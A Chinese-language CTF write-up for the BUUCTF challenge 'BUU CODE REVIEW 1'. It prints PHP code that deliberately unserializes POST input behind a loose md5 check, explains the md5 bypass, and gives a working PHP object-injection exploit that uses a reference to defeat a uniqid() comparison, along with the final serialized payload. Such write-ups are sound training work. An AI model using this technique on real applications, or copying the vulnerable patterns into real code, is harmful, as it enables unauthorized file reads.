这篇文章记录了我在BUUCTF的刷题之旅,会持续更新。

1.BUU CODE REVIEW 1

解题思路:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
highlight_file(__FILE__);

class BUU {
public $correct = "";
public $input = "";

public function __destruct() {
try {
$this->correct = base64_encode(uniqid());
if($this->correct === $this->input) {
echo file_get_contents("/flag");
}
} catch (Exception $e) {
}
}
}

if($_GET['pleaseget'] === '1') {
if($_POST['pleasepost'] === '2') {
if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
unserialize($_POST['obj']);
}
}
}

题目源码很清晰,分为两个部分,第一部分发现echo file_get_contents(“/flag”);想办法实例化这个类并调用该方法,第二部分找到反序列化obj,先进行简单的md5绕过,数组绕过和科学计数法绕过都可以。然后构造exp。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class BUU {
public $correct = "";
public $input = "";

public function __destruct() {
try {
$this->correct = base64_encode(uniqid());
if($this->correct === $this->input) {
echo file_get_contents("/flag");
}
} catch (Exception $e) {
}
}
}
$exp=new BUU();
$exp->input=&$exp->correct;
echo serialize($exp);
?>

这个exp的构造是学习了一个师傅的wp,又学到新知识了,这个师傅是这样解释的,我感觉很到位,为什么要这么构造呢?因为uniqid() 产生的数是随时变化的,无法预测,所以input 传值多少无法确定。那么我们就得把值确定下来,这个引用就类似c++指针一样,引用是一种使两个变量共享同一内存空间的机制。还给了例子:

1
2
3
4
5
6
7
8
9
10
$a = 5;
$b = &$a; // $b 是 $a 的引用

echo $a; // 输出 5
echo $b; // 输出 5

$b = 10; // 修改 $b 的值,也会影响 $a

echo $a; // 输出 10
echo $b; // 输出 10

然后得到obj=O:3:”BUU”:2:{s:7:”correct”;s:0:””;s:5:”input”;R:2;}